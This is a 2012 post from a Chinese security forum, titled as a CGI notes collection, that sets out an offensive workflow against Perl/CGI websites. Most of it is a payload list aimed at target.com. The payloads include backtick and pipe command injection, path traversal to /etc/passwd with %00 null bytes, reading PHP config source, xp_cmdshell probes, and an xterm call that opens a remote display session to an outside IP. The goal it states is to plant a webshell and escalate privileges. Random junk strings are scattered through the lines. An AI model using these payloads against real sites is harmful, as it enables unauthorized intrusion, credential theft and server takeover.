找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2528|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  / s( k1 R8 c1 k+ @
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
. x/ M' P, F7 \# H9 N2 C  G8 J  a: g感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  $ B' l3 n4 u% c
注“  
6 B+ o' ?& l6 E- U2 J# S5 Vperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
% B9 O7 _! E; ?- h2 O3 I以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  " S1 u3 g; X1 t: I0 O) A
. e( N/ A& t8 l0 Z4 y  L
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造  
2 \, u' _& Q' Ghttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  + i7 X7 D  {0 z* ^9 r/ P
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  , \0 h. X( b3 Y: w0 d2 C
http://target.com/cgi-bin/home/news/sub.pl?`id`  " C, A" ]0 P  C: z
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  
* k$ j( f  x2 ahttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  
8 K* z2 I5 Z$ r" y7 r
% X2 P5 N/ z5 r' D: D" O: Yhttp://target.com/test.pl;ls|  5 S- m0 Z: V" ~4 k. E2 c3 Z- I
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  
5 T' b" V* d& I8 thttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  , \6 e: o7 I, d- q; a3 V* r' d
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  
7 l/ [+ Z$ y. k- E% x+ ^, o比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  
7 ^9 c6 r1 n' {% g( p% w% ahttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection  
5 z/ |. }# Q8 K9 X* D0 d. B  f) [, l
http://target.com/test.pl?&........ /../../etc/passwd  
4 a  a6 t, `2 k$ A% r
$ J' ^( l: p( Mhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  
' ^3 A$ c# d/ V/ ~1 Ehttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  
$ h  k4 `7 E; fhttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  
2 g- T; B, i, }5 C$ F1 E$ }7 A5 z
http://www.target.org/show.php?f ... /include/config.php 查看php代码  0 j$ X( x+ G8 R0 q8 k: G3 S. I" Z
http://www.target.org/show.php?f ... ng/admin/global.php  
; g4 h8 k* d6 f: x& U  k" i' d: C
* O4 t& Q& D* f& b6 ?emm和ps的一句话7 ?9 M4 U6 [, S/ C& A* V$ ~: y& v' c! g

' k' A: `. P- a5 qhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
* N3 \8 q$ l- w
. f( T$ C# _" k* E0 ?) q>bbb%20|  ( N# s4 T# f( _- ]! H; X6 t) {4 f
: b  N# j, N' Z- ~9 C5 A! G
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  $ e+ j% E( v9 R8 d

% k) ^$ N* n# u; C- X4 _- }' \+ ohttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  
0 @  p6 V+ Q; o9 _http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  " z+ R* v6 C; c9 p! x9 q( c
( \  ~0 r5 {- f3 s( r7 W0 T
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  ' `9 l( m& D0 l  D9 v
http://target.com/index.html#cmd.exe  
. W+ e" s; j- l$ f' @1 Xhttp://target.com/index.html?dummyparam=xp_cmdshell  / x8 J' P9 a6 H( U' M6 g
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  
& D6 V, @: O9 F, v' Q  h. v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表